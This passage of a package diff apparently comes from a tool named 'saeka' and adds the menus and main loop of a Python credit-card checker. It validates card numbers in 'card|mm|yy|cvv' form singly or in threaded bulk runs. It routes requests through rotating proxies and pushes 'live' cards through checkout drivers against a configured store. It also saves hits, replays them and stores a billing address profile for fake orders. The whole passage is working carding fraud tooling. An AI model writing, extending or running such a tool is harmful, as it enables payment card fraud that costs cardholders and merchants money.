|
+
def run_single() -> None:
|
|
614
|
+
pool = build_pool()
|
|
615
|
+
site = CFG.get("checkout_site", "").strip()
|
|
616
|
+
driver = resolve_driver(site, pool) if site else None
|
|
617
|
+
if site:
|
|
618
|
+
print(" " + DIM + f"driver: {type(driver).__name__ if driver else 'none'}"
|
|
619
|
+
f" target: {site}" + R)
|
|
620
|
+
else:
|
|
621
|
+
print(" " + DIM + "no checkout site configured — API check only" + R)
|
|
622
|
+
|
|
623
|
+
while True:
|
|
624
|
+
cc = input(" " + CYAN + "cc ▸ " + R).strip()
|
|
625
|
+
if not cc:
|
|
626
|
+
print(" " + RED + "empty")
|
|
627
|
+
continue
|
|
628
|
+
if not CC_RE.match(cc):
|
|
629
|
+
print(" " + RED + "bad format — card|mm|yy|cvv")
|
|
630
|
+
continue
|
|
631
|
+
|
|
632
|
+
with Spinner("api check"):
|
|
633
|
+
api_res = api_check(cc, pool=pool)
|
|
634
|
+
|
|
635
|
+
co_res = None
|
|
636
|
+
if driver and api_res.get("status") == "live":
|
|
637
|
+
with Spinner("driver"):
|
|
638
|
+
try:
|
|
639
|
+
co_res = driver.test(cc)
|
|
640
|
+
except Exception as e:
|
|
641
|
+
co_res = {"status": "error", "message": str(e)}
|
|
642
|
+
|
|
643
|
+
render_block(cc, api_res, co_res)
|
|
644
|
+
if api_res.get("status") == "live":
|
|
645
|
+
Storage(ensure_storage()).write(cc, api_res, co_res)
|
|
646
|
+
|
|
647
|
+
if input(" " + YELLOW + "another? (y/n) ▸ " + R).strip().lower() != "y":
|
|
648
|
+
break
|
|
649
|
+
|
|
650
|
+
# =========================================================
|
|
651
|
+
# BULK
|
|
652
|
+
# =========================================================
|
|
653
|
+
|
|
654
|
+
def run_bulk() -> None:
|
|
655
|
+
pool = build_pool()
|
|
656
|
+
site = CFG.get("checkout_site", "").strip()
|
|
657
|
+
driver = resolve_driver(site, pool) if site else None
|
|
658
|
+
if site:
|
|
659
|
+
print(" " + DIM + f"driver: {type(driver).__name__ if driver else 'none'}"
|
|
660
|
+
f" target: {site}" + R)
|
|
661
|
+
|
|
662
|
+
raw = input(" " + CYAN + "input .txt path ▸ " + R).strip().strip('"').strip("'")
|
|
663
|
+
if not raw:
|
|
664
|
+
return
|
|
665
|
+
if not os.path.splitext(raw)[1]:
|
|
666
|
+
raw += ".txt"
|
|
667
|
+
src = os.path.abspath(raw)
|
|
668
|
+
if not os.path.isfile(src):
|
|
669
|
+
print(" " + RED + f"not found: {src}")
|
|
670
|
+
return
|
|
671
|
+
|
|
672
|
+
ccs_raw = []
|
|
673
|
+
with open(src, "r", encoding="utf-8", errors="ignore") as f:
|
|
674
|
+
for ln in f:
|
|
675
|
+
s = ln.strip()
|
|
676
|
+
if s and not s.startswith("#"):
|
|
677
|
+
ccs_raw.append(s)
|
|
678
|
+
|
|
679
|
+
seen = set()
|
|
680
|
+
ccs = [c for c in ccs_raw if not (c in seen or seen.add(c))]
|
|
681
|
+
dropped = len(ccs_raw) - len(ccs)
|
|
682
|
+
if not ccs:
|
|
683
|
+
print(" " + RED + "empty file")
|
|
684
|
+
return
|
|
685
|
+
|
|
686
|
+
ckpt = os.path.splitext(src)[0] + ".checked.txt"
|
|
687
|
+
done = set()
|
|
688
|
+
if os.path.isfile(ckpt):
|
|
689
|
+
with open(ckpt, "r", encoding="utf-8", errors="ignore") as f:
|
|
690
|
+
for ln in f:
|
|
691
|
+
s = ln.strip()
|
|
692
|
+
if s and not s.startswith("#"):
|
|
693
|
+
_, _, cc = s.partition("|")
|
|
694
|
+
done.add(cc if cc else s)
|
|
695
|
+
if done:
|
|
696
|
+
before = len(ccs)
|
|
697
|
+
ccs = [c for c in ccs if c not in done]
|
|
698
|
+
print(" " + DIM + f"resume: skipped {before - len(ccs)}" + R)
|
|
699
|
+
if not ccs:
|
|
700
|
+
print(" " + GREEN + "nothing to do")
|
|
701
|
+
return
|
|
702
|
+
|
|
703
|
+
print(" " + DIM + f"loaded {len(ccs)} · dropped {dropped} dupes" + R)
|
|
704
|
+
raw_w = input(" " + CYAN + "threads [8] ▸ " + R).strip()
|
|
705
|
+
try:
|
|
706
|
+
workers = max(1, min(64, int(raw_w))) if raw_w else 8
|
|
707
|
+
except ValueError:
|
|
708
|
+
workers = 8
|
|
709
|
+
|
|
710
|
+
store = Storage(ensure_storage())
|
|
711
|
+
print()
|
|
712
|
+
print(CYAN + "═" * 62)
|
|
713
|
+
print(f" {WHITE}BULK{R} · {WHITE}{len(ccs)}{R} cards · "
|
|
714
|
+
f"{WHITE}{workers}{R} threads"
|
|
715
|
+
+ (f" · {WHITE}{len(pool)}{R} proxies" if pool else "")
|
|
716
|
+
+ (f" · driver: {WHITE}{type(driver).__name__}{R}" if driver else ""))
|
|
717
|
+
print(f" hits ▸ {DIM}{store.hits_path}{R}")
|
|
718
|
+
print(CYAN + "═" * 62)
|
|
719
|
+
print()
|
|
720
|
+
|
|
721
|
+
counts = {"live": 0, "dead": 0, "error": 0, "other": 0}
|
|
722
|
+
co_counts: dict[str, int] = {}
|
|
723
|
+
hits = 0
|
|
724
|
+
t0 = time.time()
|
|
725
|
+
total = len(ccs)
|
|
726
|
+
|
|
727
|
+
def worker(cc: str):
|
|
728
|
+
api_res = api_check(cc, pool=pool)
|
|
729
|
+
co_res = None
|
|
730
|
+
if driver and api_res.get("status") == "live":
|
|
731
|
+
try:
|
|
732
|
+
co_res = driver.test(cc)
|
|
733
|
+
except Exception as e:
|
|
734
|
+
co_res = {"status": "error", "message": str(e)}
|
|
735
|
+
return cc, api_res, co_res
|
|
736
|
+
|
|
737
|
+
with open(ckpt, "a", encoding="utf-8") as ck_f:
|
|
738
|
+
with ThreadPoolExecutor(max_workers=workers) as tp:
|
|
739
|
+
futures = {tp.submit(worker, cc): cc for cc in ccs}
|
|
740
|
+
done_n = 0
|
|
741
|
+
status_line(" " + progress_bar(0, total))
|
|
742
|
+
for fut in as_completed(futures):
|
|
743
|
+
cc, api_res, co_res = fut.result()
|
|
744
|
+
done_n += 1
|
|
745
|
+
st = str(api_res.get("status", "unknown")).lower()
|
|
746
|
+
if st not in counts:
|
|
747
|
+
counts["other"] += 1
|
|
748
|
+
else:
|
|
749
|
+
counts[st] += 1
|
|
750
|
+
if co_res:
|
|
751
|
+
cs = co_res.get("status", "unknown").lower()
|
|
752
|
+
co_counts[cs] = co_counts.get(cs, 0) + 1
|
|
753
|
+
|
|
754
|
+
clear_status()
|
|
755
|
+
render_compact(cc, api_res, co_res)
|
|
756
|
+
|
|
757
|
+
ck_f.write(f"{st}|{cc}\n")
|
|
758
|
+
ck_f.flush()
|
|
759
|
+
if st == "live":
|
|
760
|
+
store.write(cc, api_res, co_res)
|
|
761
|
+
hits += 1
|
|
762
|
+
|
|
763
|
+
status_line(" " + progress_bar(done_n, total))
|
|
764
|
+
clear_status()
|
|
765
|
+
|
|
766
|
+
elapsed = time.time() - t0
|
|
767
|
+
rate = total / max(elapsed, 0.001)
|
|
768
|
+
print()
|
|
769
|
+
print(CYAN + "═" * 62)
|
|
770
|
+
print(WHITE + " DONE")
|
|
771
|
+
print(f" Live : {GREEN}{counts['live']}{R}")
|
|
772
|
+
print(f" Dead : {RED}{counts['dead']}{R}")
|
|
773
|
+
print(f" Error : {YELLOW}{counts['error']}{R}")
|
|
774
|
+
if counts["other"]:
|
|
775
|
+
print(f" Other : {YELLOW}{counts['other']}{R}")
|
|
776
|
+
if co_counts:
|
|
777
|
+
print(f" {DIM}driver breakdown:{R}")
|
|
778
|
+
for k, v in co_counts.items():
|
|
779
|
+
print(f" {STATUS_COLOR.get(k, YELLOW)}{k:<10}{R} {v}")
|
|
780
|
+
print(f" Elapsed : {WHITE}{elapsed:.1f}s{R} · {WHITE}{rate:.1f} c/s{R}")
|
|
781
|
+
print(f" Hits : {GREEN}{hits}{R} ▸ {DIM}{store.hits_path}{R}")
|
|
782
|
+
print(CYAN + "═" * 62)
|
|
783
|
+
|
|
784
|
+
# =========================================================
|
|
785
|
+
# REPLAY
|
|
786
|
+
# =========================================================
|
|
787
|
+
|
|
788
|
+
def run_replay() -> None:
|
|
789
|
+
raw = input(" " + CYAN + "hits .txt path ▸ " + R).strip().strip('"').strip("'")
|
|
790
|
+
if not raw:
|
|
791
|
+
return
|
|
792
|
+
if not os.path.splitext(raw)[1]:
|
|
793
|
+
raw += ".txt"
|
|
794
|
+
path = os.path.abspath(raw)
|
|
795
|
+
if not os.path.isfile(path):
|
|
796
|
+
print(" " + RED + f"not found: {path}")
|
|
797
|
+
return
|
|
798
|
+
|
|
799
|
+
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
|
800
|
+
ccs = [ln.strip() for ln in f
|
|
801
|
+
if ln.strip() and not ln.strip().startswith("#")]
|
|
802
|
+
|
|
803
|
+
if not ccs:
|
|
804
|
+
print(" " + RED + "no cards in file")
|
|
805
|
+
return
|
|
806
|
+
|
|
807
|
+
site = CFG.get("checkout_site", "").strip()
|
|
808
|
+
if not site:
|
|
809
|
+
print(" " + RED + "no checkout site configured — Settings [2]")
|
|
810
|
+
return
|
|
811
|
+
pool = build_pool()
|
|
812
|
+
driver = resolve_driver(site, pool)
|
|
813
|
+
if not driver:
|
|
814
|
+
print(" " + RED + "no driver resolved")
|
|
815
|
+
return
|
|
816
|
+
|
|
817
|
+
print(" " + DIM + f"replaying {len(ccs)} cards through "
|
|
818
|
+
f"{type(driver).__name__}" + R)
|
|
819
|
+
store = Storage(ensure_storage())
|
|
820
|
+
|
|
821
|
+
for i, cc in enumerate(ccs, 1):
|
|
822
|
+
with Spinner(f"[{i}/{len(ccs)}] {cc}"):
|
|
823
|
+
try:
|
|
824
|
+
co_res = driver.test(cc)
|
|
825
|
+
except Exception as e:
|
|
826
|
+
co_res = {"status": "error", "message": str(e)}
|
|
827
|
+
st = co_res.get("status", "unknown")
|
|
828
|
+
col = STATUS_COLOR.get(st.lower(), YELLOW)
|
|
829
|
+
print(f" {col}{st.upper():<12}{R} {cc} "
|
|
830
|
+
f"{DIM}{co_res.get('message','')}{R}")
|
|
831
|
+
if co_res.get("url"):
|
|
832
|
+
print(f" {CYAN}{co_res['url']}{R}")
|
|
833
|
+
with open(store.checkout_path, "a", encoding="utf-8") as f:
|
|
834
|
+
f.write(f"{cc}\t{st}\t{co_res.get('message','')}\n")
|
|
835
|
+
|
|
836
|
+
print()
|
|
837
|
+
print(" " + GREEN + f"replayed {len(ccs)} cards" + R)
|
|
838
|
+
print(" " + DIM + f"results ▸ {store.checkout_path}" + R)
|
|
839
|
+
|
|
840
|
+
# =========================================================
|
|
841
|
+
# PROXY MENU
|
|
842
|
+
# =========================================================
|
|
843
|
+
|
|
844
|
+
def proxy_menu() -> None:
|
|
845
|
+
while True:
|
|
846
|
+
banner()
|
|
847
|
+
proxies = CFG.get("proxies") or []
|
|
848
|
+
boxed([
|
|
849
|
+
f" {WHITE}[1]{R} Add proxy (wizard)",
|
|
850
|
+
f" {WHITE}[2]{R} Import from .txt",
|
|
851
|
+
f" {WHITE}[3]{R} List ({len(proxies)})",
|
|
852
|
+
f" {WHITE}[4]{R} Remove one",
|
|
853
|
+
f" {WHITE}[5]{R} Clear all",
|
|
854
|
+
f" {WHITE}[0]{R} Back",
|
|
855
|
+
])
|
|
856
|
+
c = input(" " + YELLOW + "select ▸ " + R).strip()
|
|
857
|
+
|
|
858
|
+
if c == "1":
|
|
859
|
+
banner()
|
|
860
|
+
host = input(" " + CYAN + "host ▸ " + R).strip()
|
|
861
|
+
if not host:
|
|
862
|
+
continue
|
|
863
|
+
port = input(" " + CYAN + "port ▸ " + R).strip()
|
|
864
|
+
user = input(" " + CYAN + "user ▸ " + R).strip()
|
|
865
|
+
pwd = input(" " + CYAN + "pass ▸ " + R).strip()
|
|
866
|
+
scheme = input(" " + CYAN + "scheme [http/socks5] ▸ " + R).strip() or "http"
|
|
867
|
+
entry = (f"{scheme}://{user}:{pwd}@{host}:{port}"
|
|
868
|
+
if user and pwd else f"{scheme}://{host}:{port}")
|
|
869
|
+
boxed([
|
|
870
|
+
f" {WHITE}scheme {R}: {scheme}",
|
|
871
|
+
f" {WHITE}host {R}: {host}",
|
|
872
|
+
f" {WHITE}port {R}: {port}",
|
|
873
|
+
f" {WHITE}user {R}: {user or '(none)'}",
|
|
874
|
+
f" {WHITE}pass {R}: {'*' * len(pwd) if pwd else '(none)'}",
|
|
875
|
+
f" {WHITE}result {R}: {entry}",
|
|
876
|
+
])
|
|
877
|
+
if input(" " + YELLOW + "confirm? (y/n) ▸ " + R).strip().lower() == "y":
|
|
878
|
+
CFG.setdefault("proxies", []).append(entry)
|
|
879
|
+
save_config(CFG)
|
|
880
|
+
print(" " + GREEN + "saved." + R)
|
|
881
|
+
time.sleep(0.6)
|
|
882
|
+
|
|
883
|
+
elif c == "2":
|
|
884
|
+
raw = input(" " + CYAN + "proxy .txt path ▸ " + R).strip().strip('"')
|
|
885
|
+
if not raw:
|
|
886
|
+
continue
|
|
887
|
+
if not os.path.splitext(raw)[1]:
|
|
888
|
+
raw += ".txt"
|
|
889
|
+
p = os.path.abspath(raw)
|
|
890
|
+
if not os.path.isfile(p):
|
|
891
|
+
print(" " + RED + "not found")
|
|
892
|
+
time.sleep(1)
|
|
893
|
+
continue
|
|
894
|
+
n = 0
|
|
895
|
+
with open(p, "r", encoding="utf-8", errors="ignore") as f:
|
|
896
|
+
for ln in f:
|
|
897
|
+
s = ln.strip()
|
|
898
|
+
if s and not s.startswith("#"):
|
|
899
|
+
CFG.setdefault("proxies", []).append(s)
|
|
900
|
+
n += 1
|
|
901
|
+
save_config(CFG)
|
|
902
|
+
print(" " + GREEN + f"imported {n}" + R)
|
|
903
|
+
time.sleep(0.8)
|
|
904
|
+
|
|
905
|
+
elif c == "3":
|
|
906
|
+
if not proxies:
|
|
907
|
+
print(" " + DIM + "(none)" + R)
|
|
908
|
+
else:
|
|
909
|
+
for i, p in enumerate(proxies, 1):
|
|
910
|
+
print(f" {WHITE}{i:>3}.{R} {p}")
|
|
911
|
+
input("\n " + DIM + "enter" + R)
|
|
912
|
+
|
|
913
|
+
elif c == "4":
|
|
914
|
+
if not proxies:
|
|
915
|
+
continue
|
|
916
|
+
for i, p in enumerate(proxies, 1):
|
|
917
|
+
print(f" {WHITE}{i:>3}.{R} {p}")
|
|
918
|
+
idx = input(" " + CYAN + "index ▸ " + R).strip()
|
|
919
|
+
try:
|
|
920
|
+
i = int(idx) - 1
|
|
921
|
+
if 0 <= i < len(proxies):
|
|
922
|
+
removed = proxies.pop(i)
|
|
923
|
+
save_config(CFG)
|
|
924
|
+
print(" " + GREEN + f"removed {removed}" + R)
|
|
925
|
+
time.sleep(0.6)
|
|
926
|
+
except ValueError:
|
|
927
|
+
pass
|
|
928
|
+
|
|
929
|
+
elif c == "5":
|
|
930
|
+
if input(" " + RED + "clear ALL? (y/n) ▸ " + R).strip().lower() == "y":
|
|
931
|
+
CFG["proxies"] = []
|
|
932
|
+
save_config(CFG)
|
|
933
|
+
print(" " + GREEN + "cleared" + R)
|
|
934
|
+
time.sleep(0.6)
|
|
935
|
+
|
|
936
|
+
elif c in ("0", ""):
|
|
937
|
+
return
|
|
938
|
+
|
|
939
|
+
# =========================================================
|
|
940
|
+
# SETTINGS
|
|
941
|
+
# =========================================================
|
|
942
|
+
|
|
943
|
+
def settings_menu() -> None:
|
|
944
|
+
while True:
|
|
945
|
+
banner()
|
|
946
|
+
addr = CFG.get("address", {})
|
|
947
|
+
filled = sum(1 for v in addr.values() if v)
|
|
948
|
+
boxed([
|
|
949
|
+
f" {WHITE}[1]{R} Storage folder {DIM}{CFG.get('storage_folder','')}{R}",
|
|
950
|
+
f" {WHITE}[2]{R} Checkout site {DIM}{CFG.get('checkout_site','') or '(none)'}{R}",
|
|
951
|
+
f" {WHITE}[3]{R} Address config {DIM}({filled}/10 fields set){R}",
|
|
952
|
+
f" {WHITE}[4]{R} Driver {DIM}{CFG.get('driver','auto')}{R}",
|
|
953
|
+
f" {WHITE}[5]{R} Tap API key {DIM}{'set' if CFG.get('tap_api_key') else '(none)'}{R}",
|
|
954
|
+
f" {WHITE}[0]{R} Back",
|
|
955
|
+
], width=66)
|
|
956
|
+
c = input(" " + YELLOW + "select ▸ " + R).strip()
|
|
957
|
+
|
|
958
|
+
if c == "1":
|
|
959
|
+
p = input(" " + CYAN + "folder path ▸ " + R).strip().strip('"')
|
|
960
|
+
if p:
|
|
961
|
+
p = os.path.abspath(p)
|
|
962
|
+
try:
|
|
963
|
+
os.makedirs(p, exist_ok=True)
|
|
964
|
+
CFG["storage_folder"] = p
|
|
965
|
+
save_config(CFG)
|
|
966
|
+
print(" " + GREEN + "saved" + R)
|
|
967
|
+
except Exception as e:
|
|
968
|
+
print(" " + RED + str(e) + R)
|
|
969
|
+
time.sleep(0.6)
|
|
970
|
+
|
|
971
|
+
elif c == "2":
|
|
972
|
+
p = input(" " + CYAN + "site (ex: store.com) ▸ " + R).strip()
|
|
973
|
+
CFG["checkout_site"] = p
|
|
974
|
+
save_config(CFG)
|
|
975
|
+
print(" " + GREEN + "saved" + R)
|
|
976
|
+
time.sleep(0.6)
|
|
977
|
+
|
|
978
|
+
elif c == "3":
|
|
979
|
+
address_menu()
|
|
980
|
+
|
|
981
|
+
elif c == "4":
|
|
982
|
+
print(" " + DIM + "drivers: " + ", ".join(sorted(DRIVER_REGISTRY.keys()))
|
|
983
|
+
+ ", auto" + R)
|
|
984
|
+
d = input(" " + CYAN + "driver name ▸ " + R).strip().lower()
|
|
985
|
+
if d in DRIVER_REGISTRY or d == "auto":
|
|
986
|
+
CFG["driver"] = d
|
|
987
|
+
save_config(CFG)
|
|
988
|
+
print(" " + GREEN + f"driver = {d}" + R)
|
|
989
|
+
else:
|
|
990
|
+
print(" " + RED + "unknown driver" + R)
|
|
991
|
+
time.sleep(0.7)
|
|
992
|
+
|
|
993
|
+
elif c == "5":
|
|
994
|
+
k = input(" " + CYAN + "Tap API key ▸ " + R).strip()
|
|
995
|
+
CFG["tap_api_key"] = k
|
|
996
|
+
save_config(CFG)
|
|
997
|
+
print(" " + GREEN + "saved" + R)
|
|
998
|
+
time.sleep(0.6)
|
|
999
|
+
|
|
1000
|
+
elif c in ("0", ""):
|
|
1001
|
+
return
|
|
1002
|
+
|
|
1003
|
+
def address_menu() -> None:
|
|
1004
|
+
fields = [
|
|
1005
|
+
("first_name", "First name"),
|
|
1006
|
+
("last_name", "Last name"),
|
|
1007
|
+
("address1", "Address line 1"),
|
|
1008
|
+
("address2", "Address line 2"),
|
|
1009
|
+
("city", "City"),
|
|
1010
|
+
("province_code", "Province/State code"),
|
|
1011
|
+
("country_code", "Country code (US, GB, TR...)"),
|
|
1012
|
+
("zip", "ZIP/Postal code"),
|
|
1013
|
+
("phone", "Phone"),
|
|
1014
|
+
("email", "Email"),
|
|
1015
|
+
]
|
|
1016
|
+
while True:
|
|
1017
|
+
banner()
|
|
1018
|
+
addr = CFG.get("address", {})
|
|
1019
|
+
lines = []
|
|
1020
|
+
for i, (key, label) in enumerate(fields, 1):
|
|
1021
|
+
val = addr.get(key, "")
|
|
1022
|
+
display = val if val else DIM + "(empty)" + R
|
|
1023
|
+
lines.append(f" {WHITE}[{i:>2}]{R} {label:<24} {display}")
|
|
1024
|
+
lines.append(f" {WHITE}[ 0]{R} Back")
|
|
1025
|
+
boxed(lines, width=70)
|
|
1026
|
+
c = input(" " + YELLOW + "field ▸ " + R).strip()
|
|
1027
|
+
if c == "0" or c == "":
|
|
1028
|
+
return
|
|
1029
|
+
try:
|
|
1030
|
+
idx = int(c) - 1
|
|
1031
|
+
if 0 <= idx < len(fields):
|
|
1032
|
+
key, label = fields[idx]
|
|
1033
|
+
val = input(f" {CYAN}{label} ▸ " + R).strip()
|
|
1034
|
+
CFG.setdefault("address", {})[key] = val
|
|
1035
|
+
save_config(CFG)
|
|
1036
|
+
print(" " + GREEN + "saved" + R)
|
|
1037
|
+
time.sleep(0.4)
|
|
1038
|
+
except ValueError:
|
|
1039
|
+
pass
|
|
1040
|
+
|
|
1041
|
+
# =========================================================
|
|
1042
|
+
# MENU + MAIN
|
|
1043
|
+
# =========================================================
|
|
1044
|
+
|
|
1045
|
+
def menu() -> str:
|
|
1046
|
+
print()
|
|
1047
|
+
site = CFG.get("checkout_site", "") or "—"
|
|
1048
|
+
driver = CFG.get("driver", "auto")
|
|
1049
|
+
boxed([
|
|
1050
|
+
f" {WHITE}[1]{R} Single check",
|
|
1051
|
+
f" {WHITE}[2]{R} Bulk check",
|
|
1052
|
+
f" {WHITE}[3]{R} Replay driver on hits file",
|
|
1053
|
+
f" {WHITE}[4]{R} Proxy configuration",
|
|
1054
|
+
f" {WHITE}[5]{R} Settings {DIM}(site: {site} driver: {driver}){R}",
|
|
1055
|
+
f" {WHITE}[0]{R} Exit",
|
|
1056
|
+
], width=66)
|
|
1057
|
+
print()
|
|
1058
|
+
return input(" " + YELLOW + "select ▸ " + R).strip()
|
|
1059
|
+
|
|
1060
|
+
def main() -> None:
|
|
1061
|
+
if not auth_gate():
|
|
1062
|
+
return
|
|
1063
|
+
|
|
1064
|
+
banner()
|
|
1065
|
+
type_out(" initializing...", delay=0.02, color=DIM)
|
|
1066
|
+
time.sleep(0.3)
|
|
1067
|
+
type_out(" ready.", delay=0.02, color=GREEN)
|
|
1068
|
+
|
|
1069
|
+
while True:
|
|
1070
|
+
c = menu()
|
|
1071
|
+
if c == "1":
|
|
1072
|
+
banner()
|
|
1073
|
+
run_single()
|
|
1074
|
+
elif c == "2":
|
|
1075
|
+
banner()
|
|
1076
|
+
run_bulk()
|
|
1077
|
+
input("\n " + DIM + "enter" + R)
|
|
1078
|
+
elif c == "3":
|
|
1079
|
+
banner()
|
|
1080
|
+
run_replay()
|
|
1081
|
+
input("\n " + DIM + "enter" + R)
|
|
1082
|
+
elif c == "4":
|
|
1083
|
+
proxy_menu()
|
|
1084
|
+
elif c == "5":
|
|
1085
|
+
settings_menu()
|
|
1086
|
+
elif c in ("0", "q", "exit"):
|
|
1087
|
+
print()
|
|
1088
|
+
type_out(" goodbye...", delay=0.03, color=RED)
|
|
1089
|
+
return
|
|
1090
|
+
else:
|
|
1091
|
+
print(" " + RED + "invalid selection" + R)
|
|
1092
|
+
time.sleep(0.4)
|
|
1093
|
+
|
|
1094
|
+
if __name__ == "__main__":
|
|
1095
|
+
try:
|
|
1096
|
+
main()
|
|
1097
|
+
except KeyboardInterrupt:
|
|
1098
|
+
show_cursor()
|
|
1099
|
+
print("\n" + RED + " goodbye..." + R)
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
saeka
|
{saeka-7.0 → saeka-9.0}/setup.py
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|